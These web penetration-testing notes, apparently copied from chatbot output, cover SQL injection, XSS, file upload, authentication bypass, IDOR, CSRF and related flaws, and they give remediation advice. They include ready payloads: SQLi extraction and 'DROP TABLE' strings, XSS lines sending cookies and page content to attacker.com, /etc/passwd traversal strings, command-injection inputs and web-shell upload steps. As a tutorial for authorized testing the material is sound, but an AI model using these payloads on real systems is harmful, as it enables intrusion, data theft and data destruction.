Set 1 - 1) Manual test for sql injection

Understanding the Target

- Begin by identifying input fields where user-provided data is sent to the backend. These include login forms, search boxes, URL parameters, and comment or feedback forms.
- Analyze the application's expected behavior to recognize anomalies during testing.

Crafting Malicious SQL Payloads

Test the input fields with specially crafted payloads to check for vulnerabilities:

- **Basic Payloads for Syntax Testing:**

Use a single quote (`'`) or double quote (`"`) to test for improper escaping. For example:
vbnet

```
'
```

  - If vulnerable, the application might return an SQL syntax error, revealing its database type.

Use SQL comment characters (`--` or `#`) to attempt bypassing parts of a query:
arduino
CopyEdit

```
' OR '1'='1' --
```

  -
- **Logical Operator Testing:**
  - Test true and false conditions to observe query manipulation:

True condition:

```
' OR '1'='1' --
```

```
' AND '1'='2' --
```

    ■
- **Union-Based SQL Injection:**

Test the injection with `UNION` to retrieve data from additional tables:
graphql

```
' UNION SELECT NULL, NULL --
```

- Adjust the number of `NULL` placeholders to match the database table columns.

Analyzing Responses

- **SQL Errors:** Observe the application's response to payloads. Error messages such as "SQL syntax error near" may indicate vulnerability.
- **Behavioral Changes:** Check if the payload alters application functionality (e.g., bypassing authentication or returning unexpected results).

Expanding Input Vectors

Test all possible entry points for SQL Injection:

- **Form Inputs:** Fields in login forms, search boxes, and registration pages.

URL Parameters: Inject payloads into query strings:
bash
CopyEdit

```
?id=1' OR '1'='1
```

-
- **Headers and Cookies:** Manipulate HTTP headers (e.g., `User-Agent`) or cookies for possible SQL execution.

Advanced Testing Techniques

For more thorough testing, escalate to advanced payloads:

Data Extraction: Use payloads to retrieve sensitive data from the database:
vbnet
CopyEdit

```
' UNION SELECT username, password FROM users --
```

-

- **Blind SQL Injection:** If no visible errors or data is returned, rely on:

Boolean-Based Payloads:
lua
CopyEdit
```
' AND 1=1 --
' AND 1=2 --
```

    -

Time-Based Payloads:
scss
CopyEdit
```
' OR IF(1=1, SLEEP(5), 0) --
```

    - Measure the time delay to confirm vulnerability.

Mitigating Risks While Testing

- Test only with proper authorization and permission.
- Start with non-destructive payloads to avoid causing permanent damage.
- Avoid injecting payloads that might alter or delete data unintentionally.

Documenting Observations

- Maintain detailed logs of tested fields, payloads, responses, and any confirmed vulnerabilities.
- Note error messages, behavioral anomalies, and patterns.

Providing Recommendations

If SQL Injection is identified, recommend the following fixes:

- **Input Validation:** Sanitize and validate all user inputs to prevent malicious queries.
- **Parameterized Queries (Prepared Statements):** Use parameterized queries to separate data from SQL code, mitigating injection risks.
- **Database Privileges:** Restrict database user permissions to minimize impact.
- **Error Handling:** Suppress verbose error messages to prevent attackers from gaining insights into backend systems.

Set 1 - 2) Lack of HTTPs.

Confirm the Vulnerability

- **Verify HTTP Accessibility**: Access the endpoint over HTTP and confirm that the server responds without enforcing a redirect to HTTPS.
- **Check for Redirects**: Verify if HTTP requests are redirected to HTTPS. If not, note this as a failure to enforce secure communication.
- **Tools to Use**: Burp Suite, Nikto, or manual testing via a browser or cURL.

---

2. Assess the Sensitivity of the Data

- **Inspect Traffic**: Analyze the data being transmitted over HTTP. Check if sensitive information like usernames, passwords, tokens, or API keys is exposed.
- **Intercept Data**: Use tools like Wireshark or Burp Suite to capture and analyze unencrypted traffic. Look for credentials, session cookies, or other sensitive data that could be compromised.
- **Impact Scenarios**:
    - Exposing login credentials.
    - Leaking Personally Identifiable Information (PII).
    - Disclosure of API keys or tokens that could lead to unauthorized access.

---

3. Check for MitM Vulnerability

- **Perform a Man-in-the-Middle (MitM) Test**: Simulate an attack by intercepting traffic using tools like *Ettercap* or *Bettercap*.
- **Scenario Analysis**: Assess if an attacker could inject malicious content, manipulate requests, or steal sensitive data in transit.
- **Test for Session Hijacking**: If session cookies are being transmitted over HTTP, check if they can be intercepted and used to hijack user sessions.

---

4. Identify If Mixed Content Is Present

- **Test for HTTPS Downgrade**: Analyze whether the application uses HTTPS in some places and falls back to HTTP elsewhere, potentially leading to mixed-content vulnerabilities.
- **Tool**: Use Burp Suite's "HTTP History" tab to check for insecure resources being loaded.

---

5. Check Configuration and Implementation

- **Review Security Headers**: Analyze the HTTP response headers using tools like OWASP ZAP, or `curl -I`. Key headers to check:
  - **Strict-Transport-Security (HSTS)**: Its absence indicates HTTPS isn't enforced.
- **SSL/TLS Misconfiguration**: Check the HTTPS configuration on the server. Ensure the proper certificate is in place, and assess the strength of supported encryption protocols (use tools like SSL Labs).

---

6. Report and Recommend Fixes

- **Document Findings**: Clearly document the following:
  - The affected endpoints.
  - Data at risk.
  - The potential impacts (e.g., information disclosure, MitM attacks, session hijacking).
- **Provide Remediation Steps**:
  - Enforce HTTPS and set up automatic HTTP-to-HTTPS redirection.
  - Implement HSTS to prevent HTTP downgrades.
  - Ensure a valid SSL/TLS certificate is installed.
  - Perform regular HTTPS configuration reviews.

---

7. Explore Real-World Exploitation Scenarios

- **Check Attack Feasibility**: Explore if the lack of HTTPS could be leveraged in phishing campaigns or social engineering attacks where users might submit sensitive data on an unencrypted channel.
- **Test for Network-Specific Threats**: Assess if this issue can be more impactful in unsecured environments like public Wi-Fi.

Set 2 - 1) File upload functionality

1. Understand the Context and Functionality

- Analyze the purpose of the file upload feature (e.g., image upload, document submission, etc.).
- Identify the types of files the application claims to accept and their intended use (e.g., PNG, JPEG, PDF).
- Observe how the application processes uploaded files and where they are stored (e.g., file system, database, cloud).

---

2. Test Allowed File Types

- Attempt to upload files outside the allowed types (e.g., PHP, HTML, EXE) to check if the application enforces content-type restrictions.
- Use tools like Burp Suite to modify the `Content-Type` header during the file upload process to bypass client-side validation.
- Verify if the file upload checks are enforced server-side or only client-side.

---

3. File Content Validation

- Test whether the application validates the content of the file (not just the extension). For example:
    - Rename a malicious `.php` file to `.jpg` and attempt to upload it.
    - Insert malicious payloads into supported file types (e.g., XSS or SQLi payloads in metadata fields of images or PDFs).
- Use tools like `ExifTool` to modify metadata in supported file formats to include malicious scripts.

---

4. Assess File Execution Risks

- Check if the uploaded file is stored in a directory that allows execution. For instance:
    - Upload a PHP web shell (e.g., `shell.php`) and try to execute it by navigating to its URL.
    - If the upload directory permits execution, this could lead to remote code execution (RCE).

---

5. Path Traversal Testing

Attempt to exploit directory traversal vulnerabilities by manipulating file paths. For example:
bash
CopyEdit
`../../../../etc/passwd`

-
- Check if the application sanitizes file paths to prevent overwriting critical files or saving files outside the intended directory.

---

6. File Name and Size Validation

- Upload files with excessively long names or special characters to test how the application handles them.
- Attempt to upload large files to check for resource exhaustion vulnerabilities (e.g., Denial-of-Service through file size limits).

---

7. Directory Permissions and Access

- Verify if the uploaded files are publicly accessible. For example:
    - Check if uploaded files are accessible directly via their URLs.
    - If files are stored in a predictable directory structure, attempt to enumerate or access other users' uploaded files.

---

8. Malware Scanning

- Upload files containing known malware signatures to test if the application uses antivirus or malware detection systems.
- Tools like `msfvenom` can generate payloads to simulate malicious files.

---

9. Content-Type Mismatch

- Upload files where the extension and MIME type do not match. For example:
    - A `.jpg` file with a `Content-Type` of `application/x-php`.

- Check if the server enforces MIME type verification.

Set 2 - 2) Authentication bypass

Authentication bypass vulnerabilities allow attackers to access restricted areas or sensitive information without proper credentials. Testing for such vulnerabilities involves manipulating parameters, cookies, headers, and other elements to exploit weaknesses in the authentication mechanism. Below are the key methods and an example to illustrate the process:

---

1. Parameter Tampering

- Test for flaws in URL parameters or POST data that control access.

Change parameters like `user_id`, `role`, or `auth_level` to elevate privileges or access unauthorized accounts.
Example:
arduino
CopyEdit
`https://example.com/profile?user_id=123`

- Change `user_id=123` to another ID (e.g., `user_id=456`) to access another user's profile.

---

2. Cookie Manipulation

- Examine session cookies using browser developer tools or interception proxies like Burp Suite.
- Look for cookies that store sensitive information, such as user roles or authentication tokens, in plaintext.

Modify cookie values to escalate privileges.
Example:
If a cookie stores:
makefile
CopyEdit
`role=guest`

Change it to:
makefile
CopyEdit
`role=admin`

-

---

3. Header Manipulation

- Alter headers such as `Authorization`, `Referer`, or `X-Forwarded-For` to bypass access controls.
- Test for authentication mechanisms that rely on trusted headers.
  Example:
  If `Authorization: Basic dXNlcjpwYXNzd29yZA==` is required, replace it with valid base64-encoded credentials for another user.

---

4. Default Credentials

- Test for default or weak credentials such as `admin:admin` or `guest:guest`.
- Automated tools like Hydra or manual attempts can help verify this.

---

5. Response Manipulation

- Modify server responses using interception tools to test for improper validation.
- Alter `HTTP 401 Unauthorized` responses to `HTTP 200 OK` to bypass authentication.

---

6. Forced Browsing

- Attempt direct access to restricted resources by navigating directly to URLs without logging in.

Test predictable paths like:
arduino
CopyEdit
`https://example.com/admin`
`https://example.com/secure/data`

-

---

7. SQL Injection in Login Forms

Inject payloads like `' OR '1'='1` into username/password fields to bypass authentication.
Example:
vbnet
CopyEdit

```
Username: admin
Password: ' OR '1'='1' --
```

-

Example Scenario: Parameter Tampering Bypass

A web app has a "role" parameter in the URL:
arduino
CopyEdit

```
https://example.com/dashboard?role=user
```

1.
2. Change `role=user` to `role=admin` and reload the page.
3. If the server does not validate user privileges properly, you may gain admin access.

Mitigation Strategies

- Enforce strict server-side validation for all parameters, cookies, and headers.
- Use secure session management mechanisms (e.g., JWTs with strong signing keys).
- Implement proper access control and privilege checks for sensitive actions.
- Encrypt or hash sensitive data stored in cookies.

By systematically testing these components, you can uncover authentication bypass vulnerabilities and secure the application.

Set 3 - 1) XSS reflective

To confirm the exploitability of a reflective cross-site scripting (XSS) vulnerability, the first step is to identify the input field or parameter where user input is reflected in the server's HTTP response. Tools like **Burp Suite**, **OWASP ZAP**, or browser developer tools are instrumental in observing how the server processes and reflects input.

Once a reflection is detected, inject a simple payload to test if it is executed by the browser. For example, using the payload `<script>alert('XSS')</script>` is a straightforward way to check. If the script executes in the browser, it confirms that the input is unsanitized and the vulnerability exists.

Next, test the execution context to determine how the payload is being reflected. The reflection could occur in:

- **HTML Context**: `<script>alert('XSS')</script>`
- **Attribute Context**: `"onerror=alert('XSS')"`
- **JavaScript Context**: `');alert('XSS');//`

If basic payloads fail due to input sanitization, attempt to bypass filters by encoding the payload. For instance:

html
CopyEdit
```
<img src=x onerror=alert('XSS')>
```

or its URL-encoded version:

html
CopyEdit
```
%3Cimg%20src%3Dx%20onerror%3Dalert%28%27XSS%27%29%3E
```

Finally, craft a proof-of-concept (PoC) that can be used to confirm and report the vulnerability. A common approach is creating a malicious URL:

php
CopyEdit
```
https://target.com/search?q=<script>alert('XSS')</script>
```

Escalate the impact by testing scenarios like cookie theft or session hijacking.

Payloads to Use

The following payloads can be used depending on the context and the level of filtering applied:

1. **Basic Payloads**:
    - `<script>alert('XSS')</script>`
    - `<img src=x onerror=alert(1)>`
2. **Encoded Payloads**:
    - `%3Cscript%3Ealert%281%29%3C%2Fscript%3E`
3. **Filter Bypass Techniques**:
    - `<<SCRIPT>alert('XSS');//<</SCRIPT>`
4. **Advanced Payloads for Impact**:

Cookie Theft:
javascript
CopyEdit
```
<script>fetch('https://attacker.com?cookie=' +
document.cookie)</script>
```

-

Sensitive Data Exfiltration:
javascript
CopyEdit
```
<script>fetch('https://attacker.com?data=' +
document.body.innerHTML)</script>
```

-

Redirection:
html
CopyEdit
```
<script>window.location='https://attacker.com'</script>
```

-

By systematically testing and escalating payloads, the full exploitability and potential impact of the reflective XSS vulnerability can be assessed.

Set 3 - 2) Forgotten admin page

1. Information Gathering

Start by understanding the purpose and structure of the admin page:

- Identify the framework or CMS powering the page (e.g., WordPress, Joomla).
- Analyze its URL structure for clues (e.g., `/admin`, `/login`, or `/admin_panel`).
- Inspect the page source code for exposed comments, hardcoded credentials, or paths to sensitive resources.

---

2. Authentication Testing

Determine whether the admin page enforces proper authentication:

- Attempt to access the page without credentials to check for unauthenticated access.
- If login is required:
    - Test for **default credentials** (e.g., admin/admin, root/root) using vendor documentation or public lists.
    - Try **common username/password combinations** with tools like **Hydra** or **Burp Suite Intruder**.
    - Check for **weak password policies** (e.g., short passwords, no special characters).

---

3. Vulnerability Scanning

Perform automated and manual scans to identify potential security issues:

- Use tools like **Nmap**, **Nikto**, or **Burp Suite** to identify:
    - Outdated software versions with known vulnerabilities.
    - Misconfigurations, such as directory listings or open debug modes.
    - Exposed sensitive files (e.g., `/config`, `/backup`).

Test for **path traversal** or **directory enumeration** to explore hidden resources:
ruby
CopyEdit
`https://target.com/admin/../../../etc/passwd`
`https://target.com/admin/config_backup.zip`

-

---

4. Input Validation and Injection Testing

Test all inputs for insufficient validation:

- **SQL Injection**:
  - Check login forms for payloads like `' OR '1'='1` or `admin'--`.
- **Command Injection**:
  - Submit payloads such as `; whoami` or `&& ls` in input fields.
- **Cross-Site Scripting (XSS)**:
  - Inject payloads like `<script>alert('XSS')</script>` into search bars or admin forms.
- **File Upload Vulnerabilities**:
  - If the page allows file uploads, attempt to upload a malicious file (e.g., `.php` web shell).

---

5. Test for Session and Authorization Issues

Evaluate how the admin page handles session and access controls:

- **Session Fixation**:
  - Test if sessions persist across login/logout or allow reuse of session IDs.
- **Privilege Escalation**:
  - Access admin functionalities using a lower-privileged user account.
- **Broken Authorization**:
  - Attempt to directly access restricted resources by modifying URLs or API calls.

---

6. Security Misconfigurations

Look for signs of poor security practices:

- **Weak HTTPS Configuration**:
  - Use tools like **SSL Labs** to check for weak encryption protocols (e.g., SSLv3, TLS 1.0).
- **Open CORS Policies**:
  - Test for permissive CORS settings using custom `Origin` headers.
- **Debug Features**:
  - Check if error messages disclose sensitive information (e.g., stack traces, file paths).

---

7. Check for Sensitive Data Exposure

Verify if sensitive data is leaked through the page:

- Inspect cookies for unencrypted sensitive information (e.g., session tokens).
- Check for sensitive parameters in the URL, such as API keys or session IDs.
- Look for hardcoded secrets in JavaScript files loaded by the page.

---

8. Brute Force and Fuzzing

- Perform **brute-force attacks** to discover hidden functionalities or endpoints.
    - Use tools like **ffuf** or **dirsearch** for directory and file enumeration.
- Fuzz input fields to identify unexpected behaviors or crash conditions.

---

9. Validate Impact

Determine the real-world impact of identified vulnerabilities:

- Test if you can:
    - Exfiltrate sensitive data (e.g., user records, configuration files).
    - Escalate privileges or compromise the underlying server.
    - Deploy persistent backdoors (e.g., via vulnerable file upload).

Set 4 - 1) Exposed API endpoint

Step 1: Information Gathering

1. Identify the API Endpoint:
    - Document the URL of the exposed API endpoint.
    - Note the HTTP methods supported (GET, POST, PUT, DELETE, etc.).
2. Understand the API Functionality:
    - If documentation is available (e.g., OpenAPI/Swagger), review it to understand the expected behavior of the API.
    - If no documentation is available, explore the endpoint by making requests and observing responses.
3. Use Tools for Exploration:

- Tools like Postman, cURL, or Insomnia can be used to send requests and analyze responses.
- Consider using automated tools like OWASP ZAP or Burp Suite for more extensive testing.

Step 2: Testing for Input Validation

1. Send Basic Requests:
    - Start with valid requests to see how the API responds.
    - Check for expected responses and status codes (200 OK, 404 Not Found, etc.).
2. Test for Invalid Input:
    - Send requests with invalid parameters (e.g., incorrect data types, missing required fields).
    - Observe how the API handles these requests. Look for error messages that may reveal sensitive information.
3. Test for SQL Injection:
    - If the API interacts with a database, test for SQL injection vulnerabilities by injecting SQL payloads into input fields.
    - Example payloads: `' OR '1'='1`, `'; DROP TABLE users; --`.
4. Test for Command Injection:
    - If the API accepts shell commands or system calls, test for command injection by injecting payloads like `; ls` or `&& whoami`.

Step 3: Testing for Authentication and Authorization Issues

1. Check for Sensitive Operations:
    - Attempt to perform sensitive operations (e.g., data deletion, user account modification) without authentication.
    - Document any successful operations that should require authentication.
2. Test for User Enumeration:
    - If the API has user-related endpoints, test for user enumeration by checking responses for valid and invalid usernames.
3. Test for Insecure Direct Object References (IDOR):
    - If the API exposes object IDs (e.g., user IDs, document IDs), try accessing different IDs to see if unauthorized access is possible.

Step 4: Testing for Data Exposure

1. Check for Sensitive Data Exposure:
    - Analyze the responses for sensitive information (e.g., user data, API keys, tokens).
    - Look for any data that should not be publicly accessible.
2. Test for Information Disclosure:
    - Send malformed requests to see if the API discloses stack traces or internal error messages that could aid an attacker.

Step 5: Testing for Rate Limiting and Denial of Service

1. Test Rate Limiting:
    - Send a high volume of requests in a short period to check if the API has rate limiting in place.
    - Monitor for any degradation in service or error responses.
2. Test for Denial of Service (DoS):
    - Attempt to overload the API with large payloads or excessive requests to see if it can handle the load without crashing.

Step 6: Testing for Security Headers

1. Check HTTP Security Headers:
    - Use tools like SecurityHeaders.com or browser developer tools to check for the presence of security headers (e.g., Content Security Policy, X-Content-Type-Options, X-Frame-Options).
    - Document any missing or misconfigured headers.

Step 7: Review and Document Findings

1. Document All Findings:

- Create a detailed report of all tests conducted, including:
    - The API endpoint tested.
    - The methods used.
    - The results of each test.
    - Any vulnerabilities discovered.

2. Provide Recommendations:
    - Suggest remediation steps for identified vulnerabilities, such as implementing authentication, input validation, and proper error handling.

Set 4 - 2) CSRF

Step 1: Information Gathering

1. Identify Sensitive Forms:
    - Locate forms that handle sensitive information (e.g., account settings, payment processing).
    - Document the URLs and HTTP methods (GET, POST) used by these forms.
2. Analyze Form Structure:
    - Inspect the HTML source to identify input fields, including hidden fields and CSRF tokens.
    - Note any anti-CSRF mechanisms in place, such as tokens or headers.

Step 2: Check for CSRF Tokens

1. Verify Token Generation:
    - Ensure that a unique CSRF token is generated for each session or request.
    - Check if the token is included in the form submission.
2. Test Token Validation:
    - Attempt to submit the form without the CSRF token or with an invalid token.
    - Observe the server's response to confirm that it rejects the request.

Step 3: Test for CSRF Vulnerabilities

1. Create a Malicious Form:
    - Construct a simple HTML form that mimics the target form but submits to the same endpoint.
    - Include the necessary fields, excluding the CSRF token.
2. Submit the Malicious Form:
    - Host the malicious form on a different domain and attempt to submit it while authenticated to the target application.
    - Monitor the response to see if the action is executed without the CSRF token.

Step 4: Analyze Application Behavior

1. Check for CSRF Protection:
    - If the application accepts the malicious request, it indicates a potential CSRF vulnerability.
    - Document the actions taken and the responses received.
2. Test Different User Roles:
    - If applicable, test the form submission with different user roles (e.g., admin, regular user) to assess the impact of CSRF across roles.

Step 5: Review Security Headers

1. Inspect HTTP Headers:
    - Check for the presence of security headers that can mitigate CSRF attacks, such as `SameSite` cookies.
    - Use tools like browser developer tools or security scanners to analyze headers.
2.

Step 6: Document Findings

1. Create a Detailed Report:

    - Document all tests conducted, including:
        - The forms tested.
        - The methods used.
        - The results of each test.
        - Any vulnerabilities discovered.
2. Provide Recommendations:
    - Suggest remediation steps, such as implementing proper CSRF token validation and using secure headers.
    -

Set 5 - 1) IDOR

Testing for IDOR in Different Types of Resources

a. Database Records

- **Identify Record IDs**:
    - Look for numeric or alphanumeric record IDs in query parameters, POST bodies, headers, or cookies (e.g., `/user?id=123`).
- **Modify Record IDs**:
    - Change the ID to another value (e.g., `/user?id=124`) to check if unauthorized data is accessible.
- **Test for Enumeration**:
    - Automate sequential or random ID testing using tools like Burp Intruder or custom scripts.
- **Test Across Roles**:
    - Test whether a user with a lower privilege (e.g., regular user) can access data meant for higher-privileged users (e.g., admin).
- **Impact**:
    - Unauthorized access to sensitive data like user profiles, PII, or financial information.

---

b. Files

- **Identify File References**:
    - Look for file-related parameters (e.g., `file_id`, `doc_id`, `file_name`) or URLs pointing to downloadable resources (e.g., `/files/download?id=123`).
- **Manipulate File Identifiers**:

    - Change the file ID or name to access other files (e.g., `/files/download?id=124` or `/files/download?file=confidential.pdf`).
- **Access Restricted Resources**:
    - Test if sensitive or private files (e.g., invoices, contracts, or reports) can be accessed without authorization.
- **File Path Manipulation**:
    - If filenames are part of the request, test for directory traversal vulnerabilities (`../`) to access restricted directories.
    - Example: `/files/download?file=../../../etc/passwd`.
- **Impact**:
    - Unauthorized access to private or restricted files.

---

c. APIs

- **Analyze API Endpoints**:
    - Test endpoints that return sensitive data for user-specific or resource-specific identifiers.
    - Example: `/api/orders?user_id=123`.
- **Manipulate IDs in API Calls**:
    - Modify `user_id` or other parameters to see if you can access another user's data or perform unauthorized actions.
- **Test for Batch Processing**:
    - Check if APIs allow fetching multiple resources in a single request (e.g., `/api/orders?ids=123,124,125`).
- **Impact**:
    - Unauthorized access to sensitive data or actions.

---

d. Session Tokens or Cookies

- **Modify Tokens**:
    - If session tokens or authentication cookies are used to control access, try modifying or swapping tokens between accounts to bypass restrictions.
- **Replay Tokens**:
    - Test if you can reuse an old token or another user's token to access their session.
- **Impact**:
    - Unauthorized session hijacking or impersonation.

---

e. Restricted Resources by Role

- **Cross-Role Testing**:
  - Test whether lower-privileged users can access resources meant for higher-privileged roles (e.g., admins, premium users).
- **Test Role-Specific Parameters**:
  - Example: `/admin/panel?id=123` or `/api/admin_data?user_id=456`.
- **Impact**:
  - Unauthorized escalation to administrative functions or access to privileged data.

---

f. Access Control Lists (ACLs)

- **ACL Testing**:
  - If the application uses ACLs for resource access (e.g., sharing documents with specific users), test whether you can access resources not explicitly shared with you.
  - Example: `/document?id=123&user=alice`.
- **Impact**:
  - Bypassing ACLs to access unauthorized resources.

---

3. Tools to Automate IDOR Testing

- **Burp Suite Intruder**:
  - Automate testing by modifying resource IDs sequentially or randomly.
- **Custom Scripts**:
  - Use Python, bash, or tools like `ffuf` to send requests with manipulated parameters.
- **OWASP ZAP**:
  - Use automated scanners to detect potential IDOR vulnerabilities.

---

4. Advanced Testing

- **Test for Chained Vulnerabilities**:
  - Combine IDOR with other vulnerabilities (e.g., privilege escalation, data tampering).
  - Example: Exploiting IDOR to gain access to admin tokens or credentials and escalate privileges.
- **Examine Hidden Parameters**:

- Use tools like Burp Suite to discover hidden or undocumented parameters in API responses or forms.

---

5. Document and Report

- **Capture Evidence**:
  - Log successful IDOR exploits, including request/response pairs and screenshots.
- **Highlight Impact**:
  - Describe what data was accessed and the potential business or user impact.
- **Provide Recommendations**:
  - Implement proper access controls using user/session validation.
  - Validate user permissions server-side for all resource access.
  - Avoid predictable identifiers (e.g., sequential IDs).

Set 5 - 2) Sensitive information in URL

- **Identify the Sensitive Information in URLs**:
  - Examples include:
    - Session IDs: `https://example.com/dashboard?session_id=12345`
    - Personal Data: `https://example.com/profile?user_id=123&name=JohnDoe`
    - Authentication Tokens: `https://example.com/login?token=abcd1234`
- **Inspect All URL Components**:
  - Query parameters (`?key=value`).
  - Path segments (`/user/12345`).
  - Fragments (`#section`).

---

2. Test the Risk of Exposure

- **Potential Risks of Data Leakage**:
  - **Logs**:
    - Web server logs, reverse proxy logs, or CDN logs might store sensitive URLs.
  - **Browser History**:
    - URLs are stored in the browser's history and can be accessed by anyone with access to the device.

    - **Referer Header**:
        - When navigating to a new page or external site, the browser may send the URL (including sensitive data) in the `Referer` header.
    - **Bookmark Sharing**:
        - Users might unintentionally share bookmarks containing sensitive information.
    - **Cache/Proxy Storage**:
        - Proxies or shared caches might store sensitive URLs.

---

3. Assess Security Risks

a. Session Hijacking

- **Risk**:
    - If session IDs or tokens are included in the URL, an attacker who obtains the URL could impersonate the user.
- **Test**:
    - Copy the URL and use it in another browser or device to check if the session is reusable without reauthentication.

b. Data Exposure via Logs

- **Risk**:
    - Analyze if sensitive data in URLs is being logged by the application or web server.
- **Test**:
    - Check HTTP headers (e.g., `Referer`) and application behavior to determine if URLs with sensitive data are logged.

c. Privacy Violations

- **Risk**:
    - Personal data like names, email addresses, or user IDs in URLs can expose private user information.
- **Test**:
    - Identify all URLs containing personal data and determine if this data is sensitive (e.g., PII, health info, etc.).

d. Cross-Site Risks

- **Referer Header Testing**:
    - Navigate to external links or resources from the application and inspect the `Referer` header to see if the sensitive URL is sent to third-party domains.

- Tools: Use browser developer tools (Network tab) or Burp Suite.

---

4. Test for Exploitation Scenarios

a. URL Sharing

- Test if copying and sharing the URL to another user allows them to access sensitive data.
- Example:
  - Share: `https://example.com/profile?user_id=123`
  - Another user might be able to view the profile by simply accessing the shared link.

b. Open Redirects

- If the URL allows redirection to external sites, test if sensitive data is appended to external URLs via redirection.
- Example: `https://example.com/redirect?url=http://malicious.com&session_id=12345`.

c. Caching Issues

- Test if the sensitive URLs are being cached by:
  - Web servers.
  - Proxies or CDNs.
  - Browser caching.
- Tools: Inspect HTTP response headers (e.g., `Cache-Control`) for inappropriate caching settings.

d. Session Reuse

- Test whether a session ID in the URL remains valid after:
  - Logging out.
  - Regenerating a new session.
  - Browser restarts.

---

5. Tools for Testing

- **Browser Developer Tools**:
  - Use the Network tab to inspect URL structures and headers.

- **Burp Suite**:
    - Analyze `Referer` headers, test session hijacking, and manipulate URL parameters.
- **Wireshark**:
    - Monitor traffic to check if sensitive URLs are being transmitted insecurely.
- **Manual Testing**:
    - Copy URLs, use them on different devices, and analyze behavior.

---

6. Assess the Impact

- **Severity of the Information Exposed**:
    - How sensitive is the data in the URL (e.g., session tokens, user data, financial information)?
- **Likelihood of Exploitation**:
    - How easy is it for an attacker to access or intercept URLs (e.g., via logs, referers, or shared links)?
- **Affected Users**:
    - Determine the number of users potentially impacted by the flaw.